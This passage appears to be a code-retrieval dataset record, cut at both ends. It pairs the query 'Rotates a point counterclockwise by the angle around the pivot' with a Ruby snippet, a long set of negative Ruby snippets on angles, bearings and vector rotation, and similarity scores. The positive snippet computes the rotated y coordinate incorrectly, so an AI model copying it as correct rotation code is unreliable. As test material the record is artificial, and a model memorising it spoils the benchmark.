v\n pdotp = perpdot(v)\n dotp = dot(v)\n Math.atan2(pdotp, dotp)\n end", "def angle_deg_with( vector )\n angle_with(vector) * RAD_TO_DEG\n end", "def getAngleOf2Vector(vector2)\n angleRad = Math.acos( self.dotProduct( vector2 ) / ( @length * vector2.length ) )\n angle = radianToDegre( angleRad )\n \n return angle\n end", "def test_class_method_angle_between_two_vectors_in_radians\n vector1 = MyVector[4,0]\n vector2 = MyVector[4,3]\n\n v = MyVector.angle_between_two_vectors(vector1, vector2)\n assert_equal 64.35, v\n end", "def angle_rads \n\t\t\t2.0 * Math.atan2( self.vec.mag, self.scalar ) \n\t\tend", "def angle(*args)\n Math.acos(self.dot(*args))\n end", "def angle\n Math.atan2(@y, @x)\n end", "def angle(other)\n\n # Two options here:\n #\n # 1. Math.atan2(other.cross_length(self), dot(other)) \n #\n # This is stable but slower (x 1.5)\n #\n # 2. Math.acos(dot(other) / (r * other.r)) \n #\n # This is faster but unstable around 0 and pi where the gradient of acos approaches \n # infinity. An alternative way to view this is that the gradient of cos approaches\n # zero and small differences in angle can be indistinguishable at some number of \n # decimal places.\n #\n \n # Math.acos(dot(other) / (r * other.r)) \n Math.atan2(other.cross_length(self), dot(other)) \n end", "def angle_between(other)\n raise TypeError, 'Must pass only LinearEntity objects.' unless other.is_a?(LinearEntity)\n \n v1 = self.direction\n v2 = other.direction\n\n # Convert numerator to BigDecimal for more precision.\n numerator = BigDecimal(v1.dot(v2).to_f.to_s)\n denominator = v1.to_point.abs * v2.to_point.abs\n\n return Math.acos(numerator / denominator)\n end", "def angle_to(v)\n ret = Math.atan2(v.y, v.x) - Math.atan2(y, x)\n if ret > Math::PI\n ret -= 2*Math::PI\n end\n if ret < -Math::PI\n ret += 2*Math::PI\n end\n ret\n end", "def angle_to(v)\n ret = Math.atan2(v.y, v.x) - Math.atan2(y, x)\n if ret > Math::PI\n ret -= 2*Math::PI\n end\n if ret < -Math::PI\n ret += 2*Math::PI\n end\n ret\n end", "def vector_to_angle(x_vel=@x_vel, y_vel=@y_vel)\n if x_vel == 0 && y_vel == 0\n return puts \"Zero velocity, no angle\"\n end\n if x_vel != 0 && y_vel != 0\n return puts \"Diagonal velocity (#{x_vel}x#{y_vel}), no angle\"\n end\n\n if x_vel.zero?\n (y_vel > 0) ? 180 : 0\n else\n (x_vel > 0) ? 90 : 270\n end\n end", "def vector_to_angle(x_vel=@x_vel, y_vel=@y_vel)\n if x_vel == 0 && y_vel == 0\n return puts \"Zero velocity, no angle\"\n end\n if x_vel != 0 && y_vel != 0\n return puts \"Diagonal velocity (#{x_vel}x#{y_vel}), no angle\"\n end\n\n if x_vel.zero?\n (y_vel > 0) ? 180 : 0\n else\n (x_vel > 0) ? 90 : 270\n end\n end", "def angle\n Math.atan2( @y, @x )\n end", "def getAngle(c1,c2)\n x = c2[0] - c1[0]\n y = c2[1] - c1[1]\n x = x <= -180 ? x + 360 : x\n x = x >= 180 ? x - 360 : x\n\n a = Math.atan2(y, x)\n rescue\n p \"Error x=#{x}, y=#{y} sq= #{Math.sqrt(x*x+y*y)} rat=#{x / Math.sqrt(x*x+y*y)}\"\n raise Error\n end", "def direction(x_diff, y_diff)\n Math.atan2(0, -1) - Math.atan2(x_diff, y_diff)\n end", "def angles_diff(a1, a2)\n diff = a2 - a1\n while diff > Math::PI\n diff -= 2.0 * Math::PI\n end\n while diff < -Math::PI\n diff += 2.0 * Math::PI\n end\n diff\n end", "def line_angle(p1,p2)\n v1 = RBA::DPoint.new(1,0)\n v2 = p2-p1\n return vector_angle(v1,v2)\n end", "def arctan(p1, p2)\n # atan2(y, x) → Float\n Math.atan2((p2.y - p1.y), (p2.x - p1.x))\nend", "def orthodrome_init_angle(lat1, lon1, lat2, lon2)\n dlon = (lon2 - lon1) * RAD_PER_DEG\n cola1 = Math.cos(lat1 * RAD_PER_DEG)\n sila1 = Math.sin(lat1 * RAD_PER_DEG)\n cola2 = Math.cos(lat2 * RAD_PER_DEG)\n sila2 = Math.sin(lat2 * RAD_PER_DEG)\n\n y = Math.sin(dlon) * cola2\n x = cola1 * sila2 - sila1 * cola2 * Math.cos(dlon)\n angle = Math.atan2(y,x)/RAD_PER_DEG # angle in degrees\n end", "def bearing(x1, y1, x2, y2 )\n \t\tdx, dy = x2 - x1, y2 - y1\n \t\tmagnitude = distance( x1, y1, x2, y2 )\n \t\tif( dx >= 0 && dy >= 0 ) || ( dx <= 0 && dy >= 0 )\n \t\ttheta = Math.acos(-dx / magnitude) + Math::PI\n \t\telsif ( dx >= 0 && dy <= 0 ) || ( dx <= 0 && dy <= 0 )\n \t\ttheta = Math.acos(dx / magnitude)\n \t\tend\n \t\treturn 0 if magnitude == 0\n \t\ttheta = theta - (Math::PI * 2) if theta >= (Math::PI * 2)\n \t\treturn theta\n \tend", "def Vector3dPlanarAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610744172, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle_diff(angle1, angle2)\n end", "def theta\n (@x == 0)? ((@y > 0)? @@pio2 : -@@pio2) : Math.atan2(@y,@x)\n end", "def calculate_deg_angle_between(target)\n calculate_rad_angle_between(target).angle_rad_to_deg_clipped\n end", "def bearing_to(other)\n return 0 if self == other\n theta = Math.atan2(other.x - x, other.y - y)\n theta += Math::PI * 2 if theta < 0\n theta / DEG2RAD\n end", "def calc_angle(x1, y1, x2, y2)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n if (x1 == x2)\r\n if (y2 >= y1)\r\n return 0\r\n else\r\n return 180\r\n end #else\r\n elsif (y1 == y2)\r\n if (x2 >= x1)\r\n return 90\r\n else\r\n return 270\r\n end #else\r\n else\r\n x1 = x1 + 0.0 # force to be floating point\r\n x2 = x2 + 0.0 # force to floating point\r\n slope = (y2-y1) / (x2-x1)\r\n radians = Math.atan(slope)\r\n degrees = conv_radian_to_degree(radians)\r\n # Handle Adjusting Quadrent\r\n if ((x2 > x1) && (y2 > y1))\r\n # Quadrent 1;\r\n degrees = degrees\r\n elsif ((x2 > x1) && (y2 < y1))\r\n # Quadrent 2\r\n degrees = 90 - degrees;\r\n elsif ((x2 < x1) && (y2 < y1))\r\n # Quadrent 3\r\n degrees = 270 - degrees\r\n else\r\n # must be Quadrent 4\r\n degrees = 270 - degrees\r\n end # else\r\n end # else\r\n return degrees\r\nend", "def calculate_radians\n if x_length == 0 || y_length == 0\n angle_to_start_of_quadrant\n else\n case angle_to_end_of_quadrant\n when DEGREES_90\n angle_ignoring_quadrant\n when DEGREES_180\n DEGREES_180 - angle_ignoring_quadrant\n when DEGREES_270\n DEGREES_180 + angle_ignoring_quadrant\n else\n DEGREES_360 - angle_ignoring_quadrant\n end\n end\n end", "def angle\n v = to_vec\n if v[1] == 0.0\n nil\n else\n v.angle\n end\n end", "def angle_delta(angle1, angle2)\n \t delta = (angle1 - angle2).abs\n \t if delta >= Math::PI\n \t delta = (((2 * Math::PI) - angle1) + angle2).abs\n \t end\n \t return delta\n \tend", "def angle_from other_point\n Geometry.angle_from self, other_point\n end", "def angle()\n a, c = @view__.angle, @context__\n c ? c.fromDegrees__(a) : a * Processing::GraphicsContext::DEG2RAD__\n end", "def Point2dSignedAngleBetweenVectors(arg0, arg1)\n ret = _invoke(1610743826, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle x1, y1, a, m, c\n x2, y2 = project x1, y1, a, m\n line x1, y1, x2, y2, c\n end", "def Vector3dAngleBetweenVectors(arg0, arg1)\n ret = _invoke(1610744163, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def Point3dPlanarAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610743866, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle_from_input\n\n return if @path.size < 2\n return unless @active_controller.is_a? Symbol\n\n i = @active_controller == :start ? 0 : 1\n corner = @path[-i]\n ref_vector = @path[-i] - @path[1 - 3 * i]\n input_vector = corner - @ip.position\n return unless input_vector.valid?\n return if input_vector.parallel? Z_AXIS\n return if input_vector.parallel? ref_vector\n\n angle = -(MyGeom.angle_in_plane input_vector, ref_vector)\n angle -= GRAPHICAL_ANGLES[i]\n angle = ((angle+90.degrees)%180.degrees)-90.degrees\n\n @end_angles[i] = angle\n\n end", "def direction_to(other_x, other_y)\n vector_to_angle(*drop_diagonal(other_x - @x, other_y - @y))\n end", "def direction_to(other_x, other_y)\n vector_to_angle(*drop_diagonal(other_x - @x, other_y - @y))\n end", "def /(other)\n return self.class.radians(@angle / other)\n end", "def atan\n math :atan\n end", "def Vector3dSignedAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610744171, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def Vector3dAngleBetweenVectorsXY(arg0, arg1)\n ret = _invoke(1610744168, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def direction\n return nil if x_vel.zero? && y_vel.zero?\n vector_to_angle(*drop_diagonal)\n end", "def angle\n rad / Math::PI * 180\n end", "def angle_b\n Angle.new(\n self,\n :b,\n (\n (\n Math.acos((a**2 + c**2 - b**2) / (2.0 * a * c)) * 180\n ) / Math::PI\n )\n )\n end", "def angle_a\n Angle.new(\n self,\n :a,\n (\n (\n Math.acos((b**2 + c**2 - a**2) / (2.0 * b * c)) * 180\n ) / Math::PI\n )\n )\n end", "def getGeoAngle(c1,c2)\n x = c2[0] - c1[0]\n y = c2[1] - c1[1]\n y = y <= -180 ? y+360 : y\n y = y >= 180 ? y-360 : y\n\n ca = getCentralAngle(c1,c2)\n dist = EARTH_RADIUS_FEET * ca\n ca1 = getCentralAngle(c1,[c2[0],c1[1]])\n dist1 = EARTH_RADIUS_FEET * ca1 * sign(x)\n ca2 = getCentralAngle(c2,[c2[0],c1[1]])\n dist2 = EARTH_RADIUS_FEET * ca2 * sign(y)\n\n angle = Math.atan2(dist2,dist1)\n end", "def angle_equation_of_time() \r\n delta_orbit() + delta_oblique()\r\n end", "def angle_to other_point\n Geometry.angle_to self, other_point\n end", "def rad\n x = self[0]\n y = self[1]\n if x >= 0 && y >= 0\n Math.atan( y.to_f/x )\n elsif x < 0 && y >= 0\n Math::PI + Math.atan( y.to_f/x )\n elsif x < 0 && y < 0\n Math::PI + Math.atan( y.to_f/x )\n else\n 2*Math::PI + Math.atan( y.to_f/x )\n end\n end", "def getBearing(p1, p2)\n dLon = rad(p2[0]-p1[0])\n lat2 = rad(p2[1])\n lat1 = rad(p1[1])\n y = Math.sin(dLon) * Math.cos(lat2)\n x = Math.cos(lat1)*Math.sin(lat2) -\n Math.sin(lat1)*Math.cos(lat2)*Math.cos(dLon)\n brng = Math.atan2(y, x)\n end", "def polar(x,y)\n theta = Math.atan2(y,x) # Compute the angle\n r = Math.hypot(x,y) # Compute the distance\n [r, theta] # The last expression is the return value\nend", "def +(other)\n return self.class.radians(@angle + other)\n end", "def direction(p0, p1, p2)\n return (p0.x-p1.x)*(p2.y-p1.y) - (p2.x-p1.x)*(p0.y-p1.y)\n end", "def polar(x,y)\n theta = Math.atan2(y,x) # Compute the angle\n r = Math.hypot(x,y) # Compute the distance\n [r, theta] # The last expression is the return value\nend", "def angle(p)\n Math.atan2(p.y - self.y, p.x - self.x)\n end", "def equirectangular_angle(lat1, lon1, lat2, lon2)\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n avlat_rad = (lat2 + lat1)/2 * RAD_PER_DEG\n\n x = dlon * Math.cos(avlat_rad)\n y = dlat\n angle = Math.atan2(x,y)/RAD_PER_DEG # angle in degrees\n end", "def Point3dAngleBetweenVectors(arg0, arg1)\n ret = _invoke(1610743856, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def aas(angle_a, angle_b, side_A)\n side_A / Math.sin(deg2rad(angle_a)) * Math.sin(deg2rad(angle_b))\n end", "def angle_delta_oblique() \r\n #al(@ma, @ta, Celes.faom03(@ta)) - ra_Sun()\r\n al_Sun() - ra_Sun() \r\n end", "def angle_c\n Angle.new(\n self,\n :c,\n (\n (\n Math.acos((a**2 + b**2 - c**2) / (2.0 * a * b)) * 180\n ) / Math::PI\n )\n )\n end", "def angle_delta_orbit() \r\n -1.0 * eqc( @ma, @ta ) \r\n end", "def angle_of_specified_radius\n @angle_of_radius\n end", "def angle_to body\n dx = body.x - self.x\n dy = body.y - self.y\n\n (R2D * Math.atan2(dy, dx)).degrees\n end", "def -(other)\n return self.class.radians(@angle - other)\n end", "def Point3dSignedAngleBetweenVectors(arg0, arg1, arg2)\n ret = _invoke(1610743865, [arg0, arg1, arg2], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle_deg\n angle * RAD_TO_DEG\n end", "def direction\n @direction ||= Vector.new(p2.x - p1.x, p2.y - p1.y)\n end", "def current_angle\n vx = (@vel_x.abs < 0.001) ? 0 : @vel_x\n vy = (@vel_y.abs < 0.001) ? 0 : @vel_y\n\n if (vx == 0) && (vy == 0)\n 0\n else\n Math.atan2(vx, -1 * vy)\n end\n end", "def signed_angle_to(v, axis)\n dot_p = self.dot(v)\n dir = self.cross(v).dot(axis)\n\n unsigned = Math.acos(dot_p / norm / v.norm)\n if dir > 0\n return unsigned\n else\n return -unsigned\n end\n end", "def signed_angle_to(v, axis)\n dot_p = self.dot(v)\n dir = self.cross(v).dot(axis)\n\n unsigned = Math.acos(dot_p / norm / v.norm)\n if dir > 0\n return unsigned\n else\n return -unsigned\n end\n end", "def radians\n self * 180 / Math::PI\n end", "def Point3dAngleBetweenVectorsXY(arg0, arg1)\n ret = _invoke(1610743862, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_BYREF | VT_DISPATCH])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def getCentralAngle(c1,c2)\n # Using the Vincenty Formula\n dlon = rad(c1[0] - c2[0])\n a = Math.cos(rad(c2[1])) * Math.sin(dlon)\n b = Math.cos(rad(c1[1]))*Math.sin(rad(c2[1])) - Math.sin(rad(c1[1])) * Math.cos(rad(c2[1]))*Math.cos(dlon)\n c = Math.sin(rad(c1[1]))*Math.sin(rad(c2[1])) + Math.cos(rad(c1[1])) * Math.cos(rad(c2[1]))*Math.cos(dlon)\n\n angle = Math.atan2(Math.sqrt(a*a + b*b),c)\n\n # Using the Haversine Formula\n\n dLon = rad(c2[0] - c1[0])\n dLat = rad(c2[1] - c1[1])\n lat1 = rad(c1[1])\n lat2 = rad(c2[1])\n\n a = Math.sin(dLat/2) * Math.sin(dLat/2) +\n Math.sin(dLon/2) * Math.sin(dLon/2) * Math.cos(lat1) * Math.cos(lat2);\n c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));\n end", "def to_angle_axis(eps = 1e-12)\n w, x, y, z = to_a\n norm = Math.sqrt(x*x+y*y+z*z);\n if norm < eps\n return 0, Eigen::Vector3.new(0,0,1);\n end\n\n angle = 2.0 * Math.atan2(norm, w);\n axis = Eigen::Vector3.new(x, y, z) / norm\n return angle, axis\n end", "def %(other)\n return self.class.radians(@angle % other)\n end", "def atan2(arg)\n Double.new(Math.atan2(self.to_f, arg.to_f))\n rescue Math::DomainError\n Double.new(::Float::NAN)\n end", "def map_direction_to_angle(dir)\n return $direction_map[dir]\nend", "def get_angle(vertices_hash)\n raise 'not circular enough for this call' if !circular\n t_v1, t_v2 = translate_edge(vertices_hash)\n dot_product = self.class.get_dot_product(t_v1, t_v2)\n origin = Vertex.new(0,0)\n magnitude_t_v1 = get_distance(origin, t_v1)\n magnitude_t_v2 = get_distance(origin, t_v2)\n cosine = dot_product / (magnitude_t_v1 * magnitude_t_v2)\n Math.acos(cosine)\n end", "def atan2(y, x)\n atan2_base(num_class[y], num_class[x])\n end", "def delta_radians\n @lat1_rad, @lon1_rad = from.map {|i| i.to_f * RADIUS_PER_DEG }\n @lat2_rad, @lon2_rad = to.map {|i| i.to_f * RADIUS_PER_DEG }\n [ lat2_rad - lat1_rad, lon2_rad - lon1_rad ]\n end", "def deg2rad\n self * (Math::PI/180)\n end", "def near_xy direction\n nx = @x\n ny = @y\n delta = [\"ny -= 1\", \"nx += 1\", \"ny += 1\", \"nx -= 1\"]\n @angle.times{delta.push delta.shift}\n direction_index = ['f','r','b','l'].index(direction)\n eval(delta[direction_index])\n nangle = @angle + direction_index\n return ny, nx, nangle\n end", "def convert_to_radians(degrees)\n degrees * PI / 180\nend", "def angle_xy(xa, ya, xb, yb)\n - Math.atan2(yb-ya, xb-xa)*57.29%360\n end" ]
[ "0.8126939", "0.79380625", "0.7685851", "0.7664685", "0.7617983", "0.75961065", "0.7593238", "0.7590905", "0.7569185", "0.75284314", "0.7432653", "0.7422392", "0.7407691", "0.7346465", "0.72886753", "0.7285471", "0.7284536", "0.7276019", "0.72624725", "0.7215825", "0.7211321", "0.72097474", "0.7141615", "0.71341693", "0.71341693", "0.7063252", "0.7063252", "0.701382", "0.6998115", "0.69273907", "0.6898784", "0.68627936", "0.68458766", "0.68260497", "0.67317754", "0.66553617", "0.6652626", "0.6633204", "0.66283", "0.661923", "0.655841", "0.6552498", "0.65454936", "0.6539582", "0.6529695", "0.65291524", "0.6524794", "0.6510661", "0.6510319", "0.6501104", "0.6491661", "0.64762914", "0.64762914", "0.64665467", "0.64597785", "0.64462686", "0.6443252", "0.6435913", "0.64337385", "0.64292765", "0.64185137", "0.63933736", "0.6387633", "0.63829434", "0.63794357", "0.6370914", "0.63119537", "0.6302953", "0.627412", "0.6265256", "0.62638605", "0.6262694", "0.62476337", "0.624165", "0.6238917", "0.6228391", "0.6225601", "0.62087345", "0.6193724", "0.6183153", "0.61762214", "0.6154746", "0.61214775", "0.61154157", "0.6088108", "0.6088108", "0.60858154", "0.60818046", "0.6059568", "0.6053838", "0.60091424", "0.6005996", "0.59922403", "0.5967112", "0.5963692", "0.59540004", "0.59490794", "0.5941926", "0.5941897", "0.59401816" ]
0.5976479
93
Rotates a point counterclockwise by the angle around the pivot
def bbpRotateByAngle(first_point, pivot_point, angle) rotation_point = bbpSub(first_point, pivot_point) cosine = Math.cos(angle) sine = Math.sin(angle) rotation_point.x = rotation_point.x * cosine - rotation_point.y * sine + pivot_point.x rotation_point.y = rotation_point.y * sine + rotation_point.y * cosine + pivot_point.y rotation_point end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rotate_around_point(angle, point)\n Point.new(x - point.x, y - point.y).rotate_around_origin(angle) + point\n end", "def rotate_around!(degrees, origin=Point.empty)\n result = self.to_point.rotate_around(degrees, origin)\n self.x = result.x\n self.y = result.y\n return result\n end", "def rotate_around!(degrees, origin=Point.empty)\n result = rotate_around(degrees, origin)\n @x = result.x\n @y = result.y\n return result\n end", "def rotate_around_origin(angle)\n sin_of_angle = Math.sin(angle)\n cos_of_angle = Math.cos(angle)\n\n Point.new(\n x * cos_of_angle - y * sin_of_angle,\n x * sin_of_angle + y * cos_of_angle\n )\n end", "def rotate_point(x, y, z, cx, cy, cz, angle_x, angle_y, angle_z)\n\t\tx -= cx ; y -= cy; z -= cz\n\n\t\t# rotate around x axis\n\t\tac = Math.cos(angle_x) ; as = Math.sin(angle_x)\n\t\ty2 = y * ac - z * as\n\t\tz2 = z * ac + y * as\n\t\ty = y2\n\t\tz = z2\n\n\t\t# rotate around y axis\n\t\tac = Math.cos(angle_y) ; as = Math.sin(angle_y)\n\t\tx2 = x * ac - z * as\n\t\tz2 = z * ac + x * as\n\t\tx = x2\n\t\tz = z2\n\n\t\t# rotate around z axis\n\t\tac = Math.cos(angle_z) ; as = Math.sin(angle_z)\n\t\ty2 = y * ac - x * as\n\t\tx2 = x * ac + y * as\n\t\ty = y2\n\t\tx = x2\n\n\t\tx += cx ; y += cy; z += cz\n\t\treturn x, y, z\n\tend", "def rotate_around(degrees, origin=Point.empty)\n return self.to_point.rotate_around(degrees, origin)\n end", "def rotate direction, origin = Vector[0,0,0], angle\n @pos.rotate!(direction.to_v,origin.to_v,angle)\n end", "def rotate_around(degrees, origin=Point.empty)\n radians = degrees * Math::PI / 180\n x2 = x - origin.x\n y2 = y - origin.y\n\n cos = Math.cos(radians)\n sin = Math.sin(radians)\n\n return Point.new(\n x2*cos - y2*sin + origin.x,\n x2*sin + y2*cos + origin.y\n )\n end", "def rotate(angle_x = 0, angle_y = 0, angle_z = 0)\n\t\tc = 0; cx = 0; cy = 0; cz = 0\n\t\t# get middle point\n\t\t@rect.each do |a|\n\t\t\ta.each do |b|\n\t\t\t\tcx += b[0]\n\t\t\t\tcy += b[1]\n\t\t\t\tcz += b[2]\n\t\t\t\tc +=1\n\t\t\tend\n\t\tend\n\t\tcx /= c; cy /= c; cz /= c\n\t\t# rotate points\n\t\t@rect.each do |a|\n\t\t\ta.each do |b|\n\t\t\t\tx = b[0]; y = b[1]; z = b[2]\n\n\t\t\t\tx, y, z = rotate_point(x, y, z, cx, cy, cz, angle_x, angle_y, angle_z)\n\n\t\t\t\tb[0] = x; b[1] = y; b[2] = z\n\t\t\tend\n\t\tend\n\tend", "def rotate!(radians)\n sin = Math.sin radians\n cos = Math.cos radians\n prev_x = @x\n @x = cos * @x - sin * @y\n @y = sin * prev_x + cos * @y\n end", "def rotate_points(points)\n\t\t# Compute the center of the elements bounding box\n\t\telement_center = get_center(points)\n\n\t\t# Move the element to the origin of the coordinate system to perform the rotation\n\t\tpoints_at_origin = points_at_origin(points, element_center)\n\n\t\t# Rotate using Matrix transposition\n\t\trotated_points_at_origin = points_at_origin.map{ |arr| (Matrix[arr] * Matrix[[0,1],[-1,0]]).to_a.flatten }\n\n\t\t# Move the element back to the starting point on the game field\n\t\treturn points_in_field(rotated_points_at_origin, element_center)\nend", "def rotate!(angle, *args)\n x, y, z = if args.length == 1 then [args[0].x, args[0].y, args[0].z]\n elsif args.length == 3 then [args[0], args[1], args[2]]\n elsif args.length == 4 then raise \"Four dimensional vector rotation is not yet implemented\"\n else raise \"Expected either a Vector3d or x, y and z arguments\"\n end\n\n\n # Calculate the sine and cosine of the angle once\n costheta = cos(angle)\n sintheta = sin(angle)\n\n # Find the new x position of the rotated vector\n rx = (costheta + (1 - costheta) * x * x) * self.x +\n ((1 - costheta) * x * y - z * sintheta) * self.y +\n\t ((1 - costheta) * x * z + y * sintheta) * self.z\n\n\t# Find the new y position for the new rotated point\n ry = ((1 - costheta) * x * y + z * sintheta) * self.x +\n\t (costheta + (1 - costheta) * y * y) * self.y +\n\t ((1 - costheta) * y * z - x * sintheta) * self.z\n\n\t# Find the new z position for the new rotated point\n\trz = ((1 - costheta) * x * z - y * sintheta) * self.x +\n\t ((1 - costheta) * y * z + x * sintheta) * self.y +\n\t (costheta + (1 - costheta) * z * z) * self.z\n\n self.x, self.y, self.z = rx, ry, rz\n self\n end", "def calc_point_rotated_abs(x,y, angle)\r\n# - - - - - - - - - - - - - - - - - - - - - - - - - -\r\n curr_angle = calc_angle(0,0,x,y)\r\n rel_amt = angle - curr_angle\r\n return calc_point_rotate_relative(x,y,rel_amt)\r\nend", "def rotate! pitch=0, yaw=0, roll=0\n\t\ta = pitch.respond_to?(:x) ? pitch.to_a : [pitch,yaw,roll]\n\t\t# create 3 quats for pitch, yaw, roll\n\t\t# and multiply those together to form a rotation quat\n\t\t# then apply it to the current quat to update it\n#\t\tsy, sp, sr = a.map { |x| Math.sin(x*@@pi360) }\n#\t\tcy, cp, cr = a.map { |x| Math.cos(x*@@pi360) }\n\t\tsp, sy, sr = a.map { |x| Math.sin(x*@@pi360) }\n\t\tcp, cy, cr = a.map { |x| Math.cos(x*@@pi360) }\n\t\tresult = normalize * Quat.new(\n\t\t\tcr*sp*cy + sr*cp*sy,\n\t\t\tcr*cp*sy - sr*sp*cy,\n\t\t\tsr*cp*cy - cr*sp*sy,\n\t\t\tcr*cp*cy + sr*sp*sy\n\t\t).normalize\n\t\t@x,@y,@z,@w = result.to_a\n\t\tself\n\tend", "def test_rotate_360_degrees\n angle = 360\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(0, 2), new_transform.target\n end", "def rotate_origo(angle_x = 0, angle_y = 0, angle_z = 0)\n\t\t@rect.each do |a|\n\t\t\ta.each do |b|\n\t\t\t\tx = b[0]; y = b[1]; z = b[2]\n\n\t\t\t\tx, y, z = rotate_point(x, y, z, 0, 0, 0, angle_x, angle_y, angle_z)\n\n\t\t\t\tb[0] = x; b[1] = y; b[2] = z\n\t\t\tend\n\t\tend\n\tend", "def angle_to(point)\n Ubiquity::Geoformulas.angle self.lat, self.lon, point.lat, point.lon\n end", "def rotate(angle, around_x=0, around_y=0, &rendering_code); end", "def rotate\n\t\t# Compute the rotation using matrix transposition\n\t\tnew_points = rotate_points(@active_piece[:points])\n\n\t\t# Update active piece (if required, i.e. no collision detected)\n\t\t@active_piece[:points] = new_points unless collision?(new_points)\t\t\n\tend", "def mirror_angle_vertically!\n @angle = (180 - @angle) % 360\n end", "def Point3dRotateXY(arg0, arg1)\n ret = _invoke(1610743864, [arg0, arg1], [VT_BYREF | VT_DISPATCH, VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end", "def angle_at(point)\n Point.angle(centre, point)\n end", "def rotate!( *args )\n super( *args )\n reset_positions_inside\n end", "def rotate\n @angle += Math::PI / 16\n @angle = @angle % (Math::PI * 2)\n end", "def rotate(radians)\n sin = Math.sin radians\n cos = Math.cos radians\n Vector.new cos * @x - sin * @y, sin * @x + cos * @y\n end", "def rotate_by(angle, axis)\n\t\t# rotate only if cuboid is rotatable\n\t\t# determine the new dimensions for the cuboid from the old position and the given angle and axis of rotation\n\t\t# To achieve this, hold the index corresponding to the given 'axis' fixed and swap the other two idices. This is because there will be no change in dimensions in the axis of rotation. The other two indices are swapped beacuse they are perpendicular to each other and the angle of rotation is 90 degrees per rotation. The direction of rotation will be determined by the sign of the angle, where I take positive angles to be clockwise and negative angles to be counter-clockwise\n\t\tnum_of_rotations = angle.abs / 90 # determine how many roations to make\n\n\t\twhile num_of_rotations > 0 \n\t\t\tpivot = angle <= 0 ? (-1) : 1 # determine the sign from the angle. The pivot will either roatate towards the origin (0,0,0) or away from it\n\t\t\tif axis == 0\n\t\t\t\t@curr_origin = [curr_origin[0], curr_origin[1], curr_origin[2] + dimensions[2] * pivot]\n\t\t\t\t@dimensions = [dimensions[0], dimensions[2], dimensions[1]]\n\t\t\telsif axis == 1\n\t\t\t\t@curr_origin = [curr_origin[0] + dimensions[0] * pivot, curr_origin[1], curr_origin[2]]\n\t\t\t\t@dimensions = [dimensions[2], dimensions[1], dimensions[0]]\t\n\t\t\telse \n\t\t\t\t@curr_origin = [curr_origin[0], curr_origin[1] + dimensions[1] * pivot, curr_origin[2]]\n\t\t\t\t@dimensions = [dimensions[0], dimensions[1], dimensions[2]]\n\t\t\tend\n\n\t\t\tnum_of_rotations -= 1 # ignore angles smaller than 90 and round down thsoe greater than 90 to the nearest multiple of 90.\n\t\tend\n\n\t\t[@curr_origin, @dimensions] # return the curr_origin and dimensions to confirm rotation was successful\n\tend", "def rotate(angle, axis)\n axis = axis.normalize if axis.length != 1.0\n cos0 = Math.cos(angle)\n cos1 = 1 - cos0\n sin0 = Math.sin(angle)\n xval = ((cos0 + (axis.x * axis.x) * cos1) * @x) + (((axis.x * axis.y * cos1) - (axis.z * sin0)) * @y) + (((axis.x * axis.z * cos1) + (axis.y * sin0)) * @z)\n yval = (((axis.x * axis.y * cos1) + (axis.z * sin0)) * @x) + ((cos0 + (axis.y * axis.y) * cos1) * @y) + (((axis.y * axis.z * cos1) - (axis.x * sin0)) * @z)\n zval = (((axis.x * axis.z * cos1) - (axis.y * sin0)) * @x) + (((axis.y * axis.z * cos1) + (axis.x * sin0)) * @y) + ((cos0 + (axis.z * axis.z) * cos1) * @z)\n AVector.new(xval, yval, zval)\n end", "def rotate( vector )\n\t\t\t(self.inverse * self.class.new(vector) * self ).vec \n\t\tend", "def test_rotate_270_degrees\n angle = 270\n new_transform = @subject.rotate(angle)\n\n assert_equal Vector2D.new(0, 0), new_transform.position\n assert_equal Vector2D.new(2, 0), new_transform.target\n end", "def rotate!( angle_rad )\n self.angle += angle_rad\n self\n end", "def roll_to(x, y)\n\n\t\t@end_point[0]\t= x - @x_center\n\t\t@end_point[1]\t= y - @y_center\n\n\n\t\t# Not enough change in the vectors to have an action ?\n\t\tif (@end_point[0] - @start_point[0]).abs < TOL and (@end_point[1] - @start_point[1]).abs < TOL then\n\t\t\treturn\n\t\tend\n\n\n\t\t# Compute the ending vector from the surface of the ball to its center :\n\t\tdistance = @end_point[0] * @end_point[0] + @end_point[1] * @end_point[1]\n\n\t\tif distance > @radius * @radius then\n\t\t\t@end_point[2]\t= 0\n\t\telse\n\t\t\t@end_point[2]\t= Math.sqrt(@radius * @radius - distance)\n\t\tend\n\n\n\t\t# Take the cross product of the two vectors. r = s X e :\n\t\t@rotation[1]\t= @start_point[1] * @end_point[2] - @start_point[2] * 